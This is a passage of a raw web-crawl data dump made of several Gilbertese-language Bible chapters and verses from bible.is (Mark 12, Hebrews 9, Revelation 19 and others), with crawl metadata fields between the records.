mate Kristo i bukini buure ti te taina ao akea riki, te aomata ae e raoiroi i bukiia aika buakaka, b'a E aonga ni kairingkami nakon te Atua. E boni kamateaki n te aro n rab'ata, ma E kamaiuaki n te aro n tamnei; 19are E nako n arona aei ni kab'arab'ara nakoia tamnei ake n te karabuuti. 20Ake te koraki n aki ongeaba nakon te Atua ngke E tataninga ma te taotaonaki n nano ni boong ake e kabaa iai ana kaibuke Nooa; are a kamaiuaki i nanona ti tabeman te aomata, aika waniman, n te ran. 21Ao te b'abetito, are aekan te ran arei, e kamaiungkami ngkai, tiaki ni kaitiakan te baareka man te rab'ata, ma n te kaeka nakon te Atua mani mataniwin te nano ae itiaki. E kamaiungkami ni manga-utin Iesu Kristo; 22are nako karawa, ao E mena i angaatain te Atua, n tautaeka i aoia anera ma ake iai m'akaia ma aroia n tautaeka.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3","date":"2016-06-30T19:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399117.38\/warc\/CC-MAIN-20160624154959-00187-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":671,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:33B'a ngkana ti karini m'akoroni biiti i nanoni wiia aoti ake a na bweenaki iai, b'a a aonga n iri nanora, ao ti a kona iai ni kairiia nakon te tabo are ti tangiria. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/3","date":"2016-07-01T23:09:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403826.29\/warc\/CC-MAIN-20160624155003-00181-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9998393059,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998393058776855}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E taetae Iesu nako ia n taeka ni kabotau: \"Iai te aomata temanna ae karaoa ana onaroka ao e uniki kureebe iai. E katea oona ni katobibia, ao e kena nnen te b'ai ni karao wain, ao e katea te tabo n taratara i bukiia taan teiakina te onaroka. E anganako ngkanne te onaroka arei nakoia taan ribana b'a a na m'akuriia, ao ngaia e nako n te aba teuana. 2Ngke e a roko bongin te tai, ao teuarei, e kanakoa temanna ana toro nakoia taani m'akuri n te onaroka b'a e na anaa mai rouia tib'angana man are a tia ni boboti. 3A taua te toro taani m'akuri akekei ao a batiboia, ao a kaokia nako ma akea uotana. 4E a manga kanakoa riki temanna te toro teuare ana b'ai nneni kureebe; ao taani m'akuri a orea atuna ao a karaoi b'aai nako ina aika e na b'ainrang iai. 5E a manga kanakoa naba temanna te toro, ao a tiringnga: ao akanne aroia nakoia aika m'aiti riki ake a tia ni kanakoaki nako ia, b'a a batiboia tem'angina ao a tiringiia tem'angina. 6Ai ti temanna te nikira ae tuai ni kanakoaki b'a natin teuarei ae te mm'ane ae tatangiria. E a kanakoa ngkanne b'a ai te kabane, ao e taku, 'Ane a na karinea natiu.' 7Ma a i taetae i rouia taani m'akuri ni nnen te kureebe ao a kangai, 'Aei te tia b'aib'ai i mwin tamana; bane mai b'a ti na kamatea b'a ti aonga ni b'aib'ai i mwina.' 8A taua ao a kamatea, ao a tewea nako mani nnen te kureebe. 9Ao E taku Iesu, \"Tera ngkanne ae e na karaoia teuare ana b'ai te onaroka? Ane e na roko ao e na tiringiia aomata akekei, ao e na kam'akuriia aomata tem'angina ni nnen te kureebe. 10Kam tuai ni wareka te taeka are n te B'aib'ara are kangai: 'Te atibu are a ribaia taani kateitei b'a akea bonganana, e a riki b'a te atibu ae moan te kakawaki i buakon atibu nako. 11E riki aei mairoun te Uea; ai kamimii ra aron taraana!' \" 12Ao aia mataniwi I-Iutaia a kakaea angan tauan Iesu b'a a na kaburea, b'a a ataia ae E ekiianako nako n te taeka ni kabotau aei; ma a makuia aomata, ma ngaia are a kitanna ao a nako. 13A kanakoaki B'aritaio tem'angina ma aomata tabem'aang man te koraki ake a kaaina ana botaki Erote nakon Iesu b'a a na kam'anea n aia titiraki. 14A roko i Rouna ao a taku, \"Te Tia Reirei, ti ataia b'a ti te taekina te koaua Ngkoe ao Ko aki kona ni katabea am iango n aia iango aomata. E aki anaaki nanom n taraan aroia aomata, ma Ko reirei te koaua ae kaeti ma nanon te Atua i bukiia aomata. E eti ma taekan te tua b'a ti na anga ara taekiti nakon te uea n Rom, ke e aki?\" 15Ti na kab'aka nako ia, ke ti na aki? Ma Iesu E a tia n ataia ae a m'am'anaia n aia taeka. E kaekaia ao E kangai, \"E aera ngkai kam kataia ni kani kam'aneai? Uota mai te m'ane ae te tirewa b'a N na noria.\" 16A uota teuana nako Ina; ao E titirakiniia ni kangai, \"Antai tamneina ma arana aei?\" A kaeka ao a taku, \"Te uea n Rom.\" 17E taku ngkanne Iesu, \"Angan te uea n Rom b'aai akana ana b'ai te uea n Rom, ao angan te Atua b'aai akana ana b'ai te Atua.\" Ao a mimi iroun Iesu. 18A roko iroun Iesu Tarukaio ake a aki kakoaua b'a a na manga uti aomata man te mate, ma ngaia are a taku nako Ina, 19\"Te Tia Reirei, E korea te tua aei Moote i bukira, ae te tua ae kangai taekana: 'Ngkana e mate te mm'aanenum'a, ao e tiku buuna i mwina ma akea natiia, ao tarin teuanne e riai b'a e na iein ma neienne b'a a aonga ni karikiia natiia ake a na atongaki b'a natin teuare mate.' 20Iai ngkoa taari mm'aane aika itiman: e iein teuare te karimoa ao e mate ma akea natina. 21E iein te kauoman ma neierei ma akea naba natiia; ao e mate teuarei, ao e riki ae ai aron naba aei nakon te kateniman ao nakoia ake nikiraia; 22ao a mate uake itiman, ma akea naba natiia. E mate n te kabane te aine arei. 23Ngkana a bane ni maiu maate n tain te manga-maiu, ao antai i rouia ae na buuna neierei? B'a a tia n iein ma ngaia uake itiman.\" 24E kaekaia Iesu ao E taku, \"Kam a kairua ra! Ao kam ataia b'a bukin tera? I bukina b'a kam aki ata te B'aib'ara ke m'aakan te Atua. 25B'a ngkana a manga uti man te mate ao a aki kona n iein ke ni kaieinaki, n ai aroia anera ake i karawa. 26Ao ni kaeti ma taekaia maate ake a manga uti: kam tuai ni wareware n ana boki Moote are taekinaki iai rongorongon te kai are bue, ao e kaotaki naba iai aron te Atua ngke E kangai nakoni Moote: 'Atuan Aberaam Ngai, ao Atuan Itaaka, ao Atuan Iakob'a.' 27B'a Ngaia tiaki Atuaia akana mate, ma Atuaia akana maiu. Kam rangi ni kairua!\" 28E mena ikekei temanna te tia koroboki ae ongongora n aia kakauntaeka. E ataia b'a E a tia Iesu n anganiia Tarukaio te kaeka ae tamaroa, ma ngaia are e nako n Iesu ao e titirakinna ni kangai: \"Te tua ra ae moanibaan te kakannato i buakon tuua nako?\" 29E kaeka Iesu ni kangai, \"Aei ae moanibaan te kakannato: 'Kam na ongora, Iteraera! Te Uea ae Atuara bon ti Ngaia te Uea! 30Ko na tangira te Uea ae Atuam ma nanom ni kabanea, ao maium ni kabanea, ao wanawanam ni kabanea, ao korakoram ni kabanea.' 31Te kauoua n tua ae moanibaan naba te kakannato bon aei: 'Ko na tangiriia aomata n ai aron tangiram i bon i roum.' Akea te tua teuana ae moanibaan te kakannato riki nakoia aikai.\" 32E taku te tia koroboki temanna nakon Iesu, \"Te Tia Reirei, E eti ane Ko atongnga, ao e koaua are Ko taku b'a ti temanna Ngaia, ao akea riki i rarikina b'a ti Ngaia; 33ao tangirana ma te nano ni kabanea, ma te wanawana ni kabanea, ma te korakora ni kabanea, ao tangiraia aomata n ai aron tangiran temanna i bon i rouna, a rangi ni moamoa riki nakoni karea ni kabane ake a katauaki i bukin te kabuekaki ao nakoni karea nako.\" 34Ngke E tirotiroa nanon ana taeka teuarei Iesu b'a iai te wanawana iai, ao E taku nako ina, \"Ko aki raroa ma uean te Atua.\" I mwin aei, ao akea temanna ae kani manga titirakina Iesu. 35Ngke E tabe n reirei Iesu i nanon te um'antabu, ao E tabeka ana titiraki ni kangai, \"A na kanga n taku taani koroboki b'a E na kaoti te Kristo ri nanon ana kariki Tawita? 36E kairaki nanon Tawita iroun te Tamnei are Raoiroi b'a e taetae ni kangai: 'E taku te Uea nakon au Uea: Tekateka ikai i angaataiu Ni karokoa I kakiia am kairiribai i aani waem.' 37E atongnga Tawita b'a ana Uea; ao E na kanga ngkanne n atongaki te Kristo b'a kanoan ana kariki Tawita?\" Ao a rangi ni bati aomata ake a kukurei n ongora i Rouna. 38Ngke E reireiia, ao E taku nako ia, \"Kawakiningkami mairouia taani koroboki ake a kan nanakonako ma aia kunnikai aika m'arairai, ao a tangiria b'a a na kamauraki ma te karinerine n te tabo ni m'akete; 39ao a kan tatau naba taabo n tekateka aika rangi n tamaroa n taini botaki n am'arake. 40A kurib'ai aia auti aine aika a mate buia, ao a karaoa ae a na kan taraaki n aroia ni kaananaui aia tataro. A na anganaki te kabuakakaki ae korakora riki.\" 41Ngke E tekateka Iesu n ua kaan ma rarikin te tabo ni m'ane ae b'ain te um'antabu, ao E matakuakiniia aomata ngke a karin aia m'ane. A m'aiti aomata ake a kaub'ai ake a karin aia m'ane aika m'aiti. 42E roko ngkanne te aine temanna ae e a tia ni mate buuna, ao e aki kaub'ai. E karin ana m'ane aika uoua, ae tao uoua te tianti m'aitini kanoaia. 43E weteia ana reirei ni kabaneia ao E taku nako ia, \"I tuangngkami b'a te aine arei are e mate buuna, e karina ae m'aiti riki i nanon te b'aoki nakoia uakekei. 44B'a a anga uakekei mani kaub'aia; ma neierei, e ngae ngke e aki kaub'ai, ma e anga ni kabane ake a reke i rouna ake buokani maiuna.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/12","date":"2016-06-26T00:00:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393997.50\/warc\/CC-MAIN-20160624154953-00134-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1433,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bon iai tuua n te moa ni boraraoi i bukin te taromauri, ao te tabo naba n taromauri ae b'ain aon te aba. 2B'a e kateaki te um'anrianna, ae iai i nanona te moa n ruu ae aranaki b'a te tabo ae tabu, are mena i nanona nen te taura n tei ao te taibora ma kariki aika katabuaki i bukin te Atua. 3Ao i akuun te roki are te kauoua bon te ruu ae aranaki b'a te tabo ae moanibaan te tabu; 4are kanoana te baonikarea ae te koora i bukini kabuokani karea aika boiarara, ma atin te berita are e kanim'aki te koora iai ni kabuta, are e mena i nanona te b'aati ae te koora are kanoana te manna, ma te kai are okon Aaron are a bwebwee baa ni kai maiai, ma baban te boraraoi ake atibu. 5Ao a mena i aon te ati ni boraraoi kerubim aika mimitong, ma baiia ni kiba aika taangaki nako n rabuna aon te ne ni kab'ara buure. Ma tiaki taiia ngkai ni kabaneaki raoi aroia ni kab'arab'araaki. 6Ma aei aroni baikekei ni baireaki. A rin ibonga i nanon te moa n ruu n te um'anrianna ni karaoi aia m'akuri ni katoa bong; 7ma ti te ibonga ae kakannato ae rin nako n te tabo are moanibaan te tabu; ao ti teuana ana tai ni karaoa aei n teuana te ririki, ao uotana ni katoa tai te raraa ae e na anga bon i bukina, ao i bukin naba aia bure aomata. 8Ao te Tamnei are Raoiroi E kaotia man aroni baikai ni baireaki b'a e tuai n uki te kawai nako nanon te tabo are moanibaan te tabu, ngkae e bon teimatoa n tei te ruu are te moa n ruu. 9Ao te ruu aei bon te b'ai ni kabotau i bukin taai aikai. Ao b'aintituaraoi ma karea aika a anga aomata ngkai, a aki kona ni kakororaoa karaoiroani mataniwin nanon te tia taromauri, 10ngkai baikai, a tabe ma taekan ti taian am'arake ma ninima ma taian teboka nako, aika tuua i bukin te rab'ata aika a na karaoaki ni karokoa te bong are a na oneaki iai nakon aika a raraoi riki. 11Ma E a tia n roko Kristo b'a te Ibonga ae Kakannato i bukini baika raraoi aika kamani mena ikai, ao E nako n ri nukan te um'anrianna ae kakannato riki ma n raoiroi riki, ae e aki karaoaki ni bain te aomata, ao tiaki b'ain aon te aba; 12ao E rin n te tabo are moanibaan te tabu ti teuana te tai ao akea riki, ao E aki uoti raraaia kooti ma buniia kaao, ma E uota oin raraana ao E karekea kamaiuara ae aki totoki. 13B'a ngkana a kaitiakaki aomata mani kam'araia n raraaia kooti ma kao mm'aane ma mannangin te kao aine te tei, aika a katim'aki i aoia; 14ao ai bati ra riki kaitiakani mataniwin nanora mani m'akuri aika akea uaaia n raraani Kristo are anga Ngaia iroun te Tamnei 15I bukin aei ngkanne, ao Kristo boni Ngaia ae buoka reken te boraraoi ae boou, are a kona iai te koraki ake a weteaki iroun te Atua ni kab'aib'aiaki n te kab'aia ae akea tokina, are E a tia te Atua n taekinna n ana taeka n akoi. E kona ni karaoaki aei i bukina b'a iai te mate are kainaomataia aomata man taiani bure ake a karaoi ngke bon iai te moa ni boraraoi. 16B'a ike e mena iai te kabureb'ai, ao e bon riai ni kakoauaki b'a te aomata are karaoa te kabureb'ai e a bon tia ni mate; 17b'a akea nanon te kabureb'ai ngkana e maiu te aomata are karaoia; e a tib'a bongana ngkana e a tia ni mate are karaoia. 18Ma ngaia ae e a tib'a bongana te moa ni boraraoi ngke e kabonganaki te raraa. 19Ngke e a tia Moote n tuangiia aomata ni kabaneia b'aai ni kabane ake a taekinaki n te Tua, ao e anaa te burae ae uraro ae buraen te tiibu ma te kaib'ab'aa ae te utob'a ao e kamanenai ni katimtim'a iai raraaia bun ni kaao ma kooti, ma te ran i aoia aomata ni kabaneia ma te nira ni boki; 20ao e taku, \"Te raraa aei boni kamatoaan te boraraoi ae E a tia te Atua n tua b'a e na karaoaki ma ngkami.\" 21Ao e katimtim'a naba te raraa Moote n te aro naba arei i aon te um'a ao i aoni b'aai nako ake b'ain te taromauri. 22Ao n aron taekan te Tua, a kuri ni bane b'aai ni kaitiakaki n te raraa; ao ngkana akea katutuan te raraa, ao akea naba kab'arani buure. 23Ma ngaia ae e riai b'a a na kaitiakaki baike katotoon oi ni b'ai ake i karawa n te aro anne. Ma b'aini karawa a tangiri aaro n angakarea aika raraoi riki nakon aikai. 24B'a Kristo E aki rin nako nanon te tabo are tabu, are e karaoaki ni bain te aomata, ao are katotongan te oi ni b'ai ni koaua; ma E bon rin i karawa, b'a E aonga ni kaoti i matan te Atua i bukira. 25Ao E aki rin iai b'a E na okioki n anganga Ngaia b'a te karea, n ai aron te ibonga ae kakannato are rin n te tabo are moanibaan te tabu n te ririki ae koraki ma uotana ae te raraa ae tiaki raraana. 26B'a ngke aroni Kristo anne, ao e na bon okioki marakina ni moa mani karikan aonnaba. Ma ngkai, ngkai e nangi roko tokin te tai ao E a ti kaoti ti te teuana te tai ao akea riki, i bukina b'a E na kamaunaa te bure n arona n anga Ngaia b'a te karea. 27Ao ngkai e katauaki nakoia aomata b'a ti teuana mateia ao i mwina motikan taekaia; 28ao ai aron naba Kristo: b'a ti teuana te tai are E riki iai b'a te karea Ngaia ni kamaunai aia bure aomata aika bati. E na kaoti te kaua tai nakoia ake a kaantaningaia i bukini kamaiuaia, ma E na aki katabea n te bure.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9","date":"2016-07-01T19:27:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403823.74\/warc\/CC-MAIN-20160624155003-00004-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1014,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwini baikai ao I ongo te bae kanga te b'ana ae korakora ae b'anaaia kaain te botaki ae ab'ab'aki i karawa, ae kaangai, \"Neboa te UEA! Ana b'ai Atuara te kamaiu, ma te neboaki, ma te m'aaka, 2b'a a koaua ana moti ao a eti. E a tia ni motika taekan te kabekaau are rangi n atoatongaki taekana, are te kabekaau are kam'araea te aba n ana wene ni bure; ao E a tia ni karekea kaina i bukina ngke e kamateia ana toro.\" 3A a manga kaangai riki, \"Neboa te UEA! E aetorake bubuni bueen neierei n aki totoki.\" 4Ao a katorobubua ni bobaraaki unimm'aane ake uangauni ma aman ma baike a maiu ake aman, ao a taromauria te Atua are tekateka i aon te kaintokanuea, ao a kaangai, \"Amen! Neboa te Atua!\" 5Ao e nako te b'ana man te kaintokanuea, ae kaangai, \"Kam na karaoiroa Atuara, ngkami aika ana toro ni kabaneingkami, ma ngkami aika kam makua, aika kam mangori ma aika kam kakannato.\" 6Ao I ongo te bae kanga b'anaaia kaain te botaki ae ab'ab'aki, ae kanga karongoani b'aron naao aika bati, ao kanga rebwerebweni baa aika korakora, ao a kaangai, Areruia! B'a E uea te Uea ae Atuara ae Moan te M'aka. 7Ti na kim'areirei ma ni kakatonga, ao ti na neboia. B'a e a roko ana tai ni mare te Tiibuteteei, ao e a tia ni katauraoia neiere E na mareaki ma ngaia. 8E a tia n anganaki neierei kunnikaina ae te rinen ae e raoiroi ae raneanea ae itiaki b'a e na b'ainna. (Te rinen ae e raoiroi, bon aroia ake a itiaki ni kakaraoa nanon te Atua ni maiuia). 9Ao e taku te anera nako iu, \"Ko na korea ae kaangai, A a kab'aia akana kaoaki nakon ana am'arake ni mare te Tiibuteteei.\" Ao e kaangai naba, \"Taeka aikai bon taeka aika koaua aika ana taeka te Atua.\" 10Ao I katorobubua ni bobaraaki i rarikini waena b'a N na taromauria. Ao e taku nako iu, \"Tarataraiko b'a ko na aki taromauriai; bon raom n toro ngai, ao raoia naba n toro tarim ake a teimatoa n taua te koaua are E kaotiotia Iesu. Ko na taromauria te Atua n tii Ngaia; b'a te koaua are E kaotiotia Iesu boni ngaia ae angania ana aomata te Atua te kona n taetae ni burabeti.\" 11Ao I nora karawa b'a e uki; ao noria, te aoti ae mainaina! Ao aran teuare toka i aona boni Kakaonimaki ao Koaua; E aki ribuaka n ana moti, ao E aki naba ngkana E buaka. 12Ai aron uran te ai matana, ao a bati baunuea i aon atuna; ao iai te ara ae koreaki i aon rab'atana, ae akea temanna ae ataia b'a ti Ngaia. 13Ao E kunnikaiaki n te kunnikai ae kateboaki n te raraa; ao e atongaki arana b'a ana \"Taeka te Atua\". 14Ao a iria n ri mwina taanga ni buaka ake i karawa i aoia aoti aika mainaina, ao a kunnikaiaki n te rinen ae e raoiroi ae mainaina ae itiaki. 15Ao e oti nako mai wina te kabaang ae kakang, b'a E na oreia botannaomata iai, ao E na tauu taekaia ni kairiia ma te matoa; ao E na toutoua aon nen taonani kureebe are ana b'ai korakoran unin te Atua are Moan te M'aka. 16Ao iai arana ae koreaki i aon ana kunnikai ao i aon rangana, ae kaangai, \"AIA KING KING AO AIA UEA UEA\". 17Ao I nora te anera temanna b'a e tei n taai; ao e taetae n te b'ana ae korakora, ao e kaangai nakoia maan ni kabane aika kibakiba i aan-nang, \"Kam na bane mai, ni botaki i bukin ana am'arake ae ab'ab'aki te Atua; 18b'a kam na kang irikoia uea ma mataniwi n taanga ni buaka, ma tautia, ma irikoia aoti ma taan toka i aoia, ma aomata ni kabaneia, aika inaomata ma tooro, ma aika mangori ma aika kakannato.\" 19Ao I nora te man are tiritiri, ma uea i aonnaba ma aia taanga ni buaka, b'a a ikotaki b'a a na buakana Teuare toka i aon te aoti, ma ana taanga ni buaka. 20Ao e tauaki te man are tiritiri, ma te burabeti ni kewe are karaoi kanikina i matana, ake e m'am'anaia iai te koraki ake a kanikinaeaki n ana kanikina te man are tiritiri, ma te koraki naba ake a taromauria te bouananti are karaoaki b'a katotongana. E teweaki nako te man are tiritiri ma te burabeti ni kewe, ngke e maiu, i nanon te nama are te ai are ura n te burimton. 21Ao ake tabem'aang ake nikira a kamateaki n ana kabaang Teuare toka i aon te aoti, are te kabaang are oti nako mai wina; ao a bane ni ngae maan ake a am'arake n irikoia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/19","date":"2016-07-01T06:37:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783400572.45\/warc\/CC-MAIN-20160624155000-00025-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":796,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:1616ao e tau itoi aika itiua i nanoni baina are ataina, ao e oti nako mai wina te kabaang ae kakang ae uaitera wina; ao taraan ubuna ai aron taai ae korakora riringana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/16","date":"2016-06-26T18:12:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395546.12\/warc\/CC-MAIN-20160624154955-00160-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9998130202,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998130202293396}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23Ma kam bon riai ni matoatoa ma n nene n ami onimaki, ao kam na aki kam'aingaki man te kaantaninga are reke i roumi ngke kam ongo taekan te euangkerio; are e tataekinaki nakoia aomata ni kabaneia i aonnaba ni kabuta ao are I riki iai, ngai ae B'auro, b'a te tia m'akuri i bukina.\nKOROTE 1:23\nFREE!\nOne App.\n1193 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/23","date":"2016-06-30T12:17:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398628.62\/warc\/CC-MAIN-20160624154958-00067-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13ao i nuuka i buakoni kain-tei n taura aikai iai temanna ae ai aron taraan natin te aomata ae kunnikaia n te kunnikai ae e toki m'arairaina i aon raurauni waena, ao e kabaeaki b'ab'ana n te b'ai ni kabaebae ae te koora.\nTE KAOTIOTI 1:13\nFREE!\nOne App.\n1192 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/13","date":"2016-06-27T12:18:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395992.75\/warc\/CC-MAIN-20160624154955-00157-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":49,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia arei, ngke ti aki kona ni kamaniira riki n taon nanora, ao ti a kukurei b'a ti na kitanaki i Atenai n ti ngaira; 2ao ti kanakoa Timoteo, ae tarira, ae raora ni m'akuri i bukin te Atua, n tataekinan euangkerioni Kristo, b'a e na kateimatoaingkami ma ni kaungaingkami n ami onimaki; 3b'a e na tai riki n aki rau nanon temanna n taian rawawata aikai. B'a kam bon ataia b'a boni katauara b'a ti na ri nanon te rawawata. 4B'a ngke ti mena i roumi, ao ti tuangngkami b'a ti na karawawataki. Ti taekina aei i m'ain rikina; ao n aron ae kam ataia, b'a e bon riki. 5Ma ngaia arei, ngke I aki kona ni kamaanai riki n taona nanou, ao I kanakoa Timoteo nako imi b'a I aonga n ata aron ami onimaki; b'a I raraoma ngkana tao kam a tia ni kairaki iroun te tia kariri, ao a matebuaka ara m'akuri. 6Ma ngkae e a roko Timoteo i roura i mwin okina mai roumi, ao e kaongoraeira n taeka aika raraoi aika taekan ami onimaki ma ami tangira; ao e tuangiira naba b'a kam aki toki n ururingiira ma te kukurei, ao kam rangi ni kan norira, n ai arora naba ngkai ti rangi ni kan noringkami. 7Ma ngaia aei, taari, i buakoni kain nanora ma rawawatara ni bane ao a karauaki nanora i roumi n ami onimaki: 8b'a e a manga karekea te maiu ae boou nako ira aromi n teimatoa n reitaki ma te Uea. 9B'a tera katituaraoan te Atua ae ti kona n anganna i bukimi, i bukin te kim'areirei ni kabanea ae ti kim'areirei iai i bukimi i matan te Atua? 10Ti tataro ni bubuti ma nanora n te ngaina ao n te bong b'a ti na nori matami, ma ni karokoraoa ae aki roko raoi n ami onimaki. 11E na kairira nako imi te Atua ae Tamara ma ara Uea are Iesu; 12ao te Uea E na kabatia ni karakaa ami i-tangitangiri ma tangiraia aomata ni kabaneia i roumi, n ai aron arora nako imi; 13b'a E na kateimatoai nanomi, b'a a aonga n itiaki ma n akea kabuakakakiia i matan Atuara ae Tamara, ngkana E roko ara Uea are Iesu ma ana aomata aika itiaki ni kabaneia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/3","date":"2016-06-29T11:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397696.49\/warc\/CC-MAIN-20160624154957-00189-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":380,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, natiu, ko na korakora, n te akoi are reke ngkai ti reitaki ma Kristo Iesu; 2ao baikana ko ongo i rou ake I taekin i mataia taani kakoaua aika bati, ko na mwiokoi nakoia aomata aika kakaonimaki, aika kona n reireiia naba tabem'aang. 3Ko na buokanib'ai ma ngai n te maraki, n ai aron ana tautia ae e raoiroi Kristo Iesu. 4Akea te tautia ae katabeianga ni m'akuri riki tabeua ngkai e tabe ma ana m'akuri n tautia, b'a e aonga ni kakukureia ana mataniwi are korea arana b'a e na tautia. 5Ao e aki kona n reke te kaniwanga iroun te tia takakaro ngkana e aki ira tuan te kauaia n takakaro. 6Te tia ununiki ae m'am'akuri boni ngaia ae e riai n reke nakoina te moa n tib'a n uaan aroka ngkana a taiaki. 7Ko na iangoa te bae I taekinna, b'a ane E na anganiko te Uea te ataib'ai ni b'aai ni kabane. 8Ko na ururinga Iesu Kristo, are E a manga kamaiuaki mai buakoia maate, are kanoan ana kariki Tawita, n ai aron taekana n te euangkerio are I tataekinna; 9ae I kamarakaki i bukina ao I kabaeaki n taurekereke i bukina b'a kanga ai aron te kam'arua ngai. Ma e bon aki kabaeaki n taurekereke ana taeka te Atua. 10Ma ngaia ae I taona nanou nakoni b'aai ni kabane i bukiia ake a rineaki, b'a a aonga naba ni karekea te kamaiuaki ma te neboaki ae aki toki mairouni Kristo Iesu. 11E koaua te taeka ae kaangai: \"B'a ngke ti mate ma Ngaia, ao ti na maiu naba ma Ngaia; 12Ngkana ti taotaon nanora, ao ti na uaia n tautaeka ma Ngaia; Ngkana ti kakeaa, ao E na manga kakeaira naba; 13ngkana ti aki kakaonimaki, ao Ngaia E boni kakaonimaki, b'a E aki kona n eekaanako oin arona.\" 14Ko na kauringiia am aomata baikanne, ao tuangiia i matan te Atua b'a a na tai kauntaeka b'a akea manenana, b'a e na kona n urui nanoia akana ongora. 15Ko na kakorakorako ni kani kaotiko nakon te Atua b'a te tia m'akuri ni koaua ae ko kakoauaki i mwini kataakim, ae te aomata ae ko aki mamaamaa, ae e eti raoi am reirei i aon taekan te koaua. 16Ko na kararoako mani b'arantiko aika akea nanoia aika aki itiaki, b'a 